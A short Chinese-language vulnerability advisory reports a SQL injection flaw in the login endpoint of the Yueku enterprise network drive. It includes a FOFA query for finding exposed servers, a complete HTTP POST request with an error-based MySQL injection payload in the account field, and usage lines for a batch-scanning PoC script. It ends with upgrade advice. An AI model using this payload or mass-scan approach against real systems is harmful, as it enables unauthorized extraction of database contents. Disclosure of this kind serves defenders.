悦库企业网盘 /user/login/.html SQL注入漏洞【附poc】

fofa

app="悦库-悦库网盘"

一、漏洞简述

悦库网盘官方版是一款界面简约直观、操作便捷轻松的网络共享工具。悦库网盘最新版功能强劲，基于悦库网盘服务端。通过悦库网盘客户端，用户可以登录任意一个局域网络内的服务器，下载或者上传文件，实现文件共享的功能，给大家带来了全新的网络共享感受。其接口/user/login/.html存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。

二、漏洞检测poc

POST /user/login/.html HTTP/1.1Host: x.x.x.xX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36Content-Type: application/x-www-form-urlencodedPriority: u=1Content-Length: 95account=') AND GTID_SUBSET(CONCAT(0x7e,(SELECT (ELT(5597=5597,md5(123456)))),0x7e),5597)-- HZLK

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/YueKuECS_userlogin_SQLInject.py

批量检测:

python YueKuECS_userlogin_SQLInject.py -f url.txt

单个url检测漏洞:

python YueKuECS_userlogin_SQLInject.py -u url

四、修复

官方已更新补丁，请升级至最新版本。

官网地址：